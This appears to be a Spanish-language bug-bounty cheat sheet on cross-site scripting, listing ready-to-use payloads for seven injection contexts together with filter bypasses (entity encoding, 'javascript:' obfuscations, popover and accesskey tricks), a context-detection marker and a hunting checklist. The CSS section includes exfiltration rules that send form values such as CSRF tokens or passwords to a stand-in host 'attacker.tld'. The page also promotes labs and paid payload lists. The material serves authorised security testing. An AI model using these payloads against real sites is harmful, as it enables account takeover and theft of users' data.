Respuesta rápida
Un payload XSS solo funciona si escapa el contexto donde aterriza tu input. Inyectar <script> dentro de un atributo value="" no ejecuta — necesitas cerrar la comilla primero. La metodología que escala: inyecta un marker único (zzaazz), localiza el marker en el DOM, identifica el contexto exacto (HTML body / atributo / JS string / JS event / URL / CSS / JSON) y aplica el payload mínimo que escape ese contexto. Sin teoría — solo seven contextos, siete payloads.
Los 7 contextos donde aterriza tu input
| # | Contexto | Cómo aparece tu input | Escape mínimo |
|---|---|---|---|
| 1 | HTML body | <div>INPUT</div> | <svg onload=alert(1)> |
| 2 | Atributo HTML | <input value="INPUT"> | "><svg onload=alert(1)> |
| 3 | JS string | var x = "INPUT"; | ";alert(1);// |
| 4 | JS event handler | onclick="foo('INPUT')" | ');alert(1);// |
| 5 | URL (href/src) | <a href="INPUT"> | javascript:alert(1) |
| 6 | CSS | <style>color:INPUT</style> | red;}*{background:url(//evil)} |
| 7 | JSON embed | <script>var d={"x":"INPUT"}</script> | "};alert(1);// |
Inyecta zzaazz<>"' y busca en la respuesta cómo aparece — eso determina el contexto.
Contexto 1 — HTML body
Tu input cae entre tags. Cualquier tag con event handler funciona; <script> solo si la página no es parseada como <noscript>/textarea.
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
Si solo se filtran < y > pero no entidades — codifica con entidades HTML:
<img src=x onerror=alert(1)> ← NO ejecuta (parseado como texto)
<img src=x onerror=alert(1)> ← SÍ ejecuta (entidad dentro de atributo)
[!tip] Test rápido del contexto HTML Inyecta
<u>xy mira si aparece subrayado en el render — confirma que parseaste como HTML.
Contexto 2 — Atributo HTML
Tu input cae dentro de un atributo. Dos sub-casos: con comillas o sin comillas.
Con comillas
<input value="INPUT"> → cierra comilla + tag
"><svg onload=alert(1)>
"><img src onerror=alert(1)>
Sin comillas (más raro pero más permisivo)
<input value=INPUT> → espacio basta para nuevo atributo
x onfocus=alert(1) autofocus
Cuando > está filtrado pero el atributo es un event handler
Si tu input cae directamente en onclick="...", no necesitas escapar el tag:
<button onclick="doStuff('INPUT')"> → ');alert(1);//
accesskey trick para input hidden / meta
/?lol=h0tak88r' accesskey='x' onclick='alert(0)'
La víctima debe pulsar ALT+SHIFT+X (Chrome/Edge). Útil cuando solo controlas un <input type=hidden> o <meta>.
Popover API (Chrome 2023+) — bypass de filtros que no conocen onbeforetoggle
<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>
Requisito: la página ya tiene un <button popovertarget="newsletter">. Si tu inyección aparece antes en el DOM, el browser dispara onbeforetoggle en tu elemento.
Contexto 3 — JS string
Tu input cae dentro de comillas en un bloque <script>. Cierra la comilla y mete tu código.
<script>
var nombre = "INPUT"; → ";alert(1);//
";alert(document.domain);//
var nombre = 'INPUT'; → ';alert(1);//
</script>
Cuando solo escapan " con \ pero no \ mismo
INPUT = \";alert(1);//
Si la app convierte " en \", tu \ queda como \\ y el " siguiente cierra la string:
\\\";alert(1);//
Backticks (template literals)
var html = `<div>INPUT</div>`; → ${alert(1)}
`;alert(1);//
Contexto 4 — JS event handler
Tu input cae dentro de un atributo event handler. Esto es HTML + JS combinados — tienes dos capas para escapar.
<a onclick="goTo('INPUT')"> → ');alert(1);//
<button onclick="alert('INPUT')"> → ');alert(1);//
Si las comillas se escapan a ' o ', el parser HTML las decodifica antes de pasarlas a JS — la comilla decodificada cierra el string igual.
<a onclick="goTo('INPUT')"> → ');alert(1);//
[!warning] Doble decodificación Los event handlers pasan por HTML decoder primero, luego JS parser.
');alert(1);//se decodifica a');alert(1);//antes de ejecutar — sirve para bypass de filtros que solo buscan caracteres literales.
Contexto 5 — URL (href, src, action)
Tu input cae como una URL. El payload clásico:
javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>
Bypass de filtros que bloquean javascript:
JaVaScRiPt:alert(1) ← case
java\tscript:alert(1) ← tab (\t)
java	script:alert(1) ← tab entity
java	script:alert(1) ← named entity
java%09script:alert(1) ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1) ← backslash escapes (algunos parsers)
Markdown link injection
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)
Útil en apps que renderizan markdown sin sanitizar URLs (issue trackers, READMEs, comentarios).
[!info] Frameworks modernos cubren esto parcialmente React v19 bloquea
javascript:enhrefy<object>automáticamente. Perowindow.open(userInput)ylocation.href = userInputno están cubiertos — siguen siendo XSS frecuentes en redirects post-login.
Contexto 6 — CSS
Tu input cae dentro de un bloque <style> o atributo style. CSS no ejecuta JS directamente (desde IE eliminó expression()) pero permite exfiltración de datos:
<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>
Exfil via attribute selector
input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */
Cada letra del valor de un campo se exfiltra a tu collaborator. Útil contra CSRF tokens o passwords pre-rellenados.
Import de stylesheet externa
@import url("//attacker.tld/exfil.css");
Contexto 7 — JSON embed
App genera JSON inline dentro de un <script>:
<script>
var data = {"username":"INPUT"};
</script>
→ "};alert(1);//
→ </script><script>alert(1)</script>
Cuando < está escapado pero / no
</script> puede romperse aunque <script> esté filtrado: el HTML parser termina el bloque <script> cuando ve </script> literalmente — tu JSON ya está cerrado.
"INPUT": "</script><img src=x onerror=alert(1)>"
Identificación rápida con marker
Inyecta un marker y observa cómo aparece. Una sola request te da el contexto:
INPUT = zzaa<u>"'</u>zz</textarea>'/zz
Busca zzaa en la respuesta:
| Aparece | Contexto |
|---|---|
<u> renderiza | HTML body |
<u> (escaped) y dentro de <input value="..."> | Atributo HTML |
Dentro de <script>...zzaa..."...zz</script> | JS string |
Dentro de onclick="...zzaa..." | JS event |
Dentro de <a href="...zzaa..."> | URL |
Dentro de <style>...zzaa...</style> | CSS |
Dentro de <script>var x = {...zzaa...}</script> | JSON embed |
Hunting checklist
- Inyecta marker único (
zzaazz<>"') y localiza en respuesta. - Identifica contexto exacto antes de tirar payloads agresivos.
- Atributos: prueba con y sin cierre de comilla. Sin comilla solo requiere espacio.
- JS string: prueba
",', backtick,</script>. - URL sinks: siempre prueba
javascript:+ variantes case/tab/entity. - Markdown: prueba
[x](javascript:alert(1))en cualquier campo que renderice markdown. - Atributos hidden/meta: prueba
accesskey+popover onbeforetoggle. - CSS: si solo controlas styles, exfil con
attribute selector+ collaborator. - JSON embed: prueba romper con
</script>aunque parezca escapado. - Documenta el payload mínimo — escala bounty cuando es one-shot.
Labs relacionados
Practica detección de contexto en 8 apps reales con sinks diferentes en labs de XSS.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Xss Context Finder
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.
7,99 €/mes · cancela cuando quieras
Artículos relacionados
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
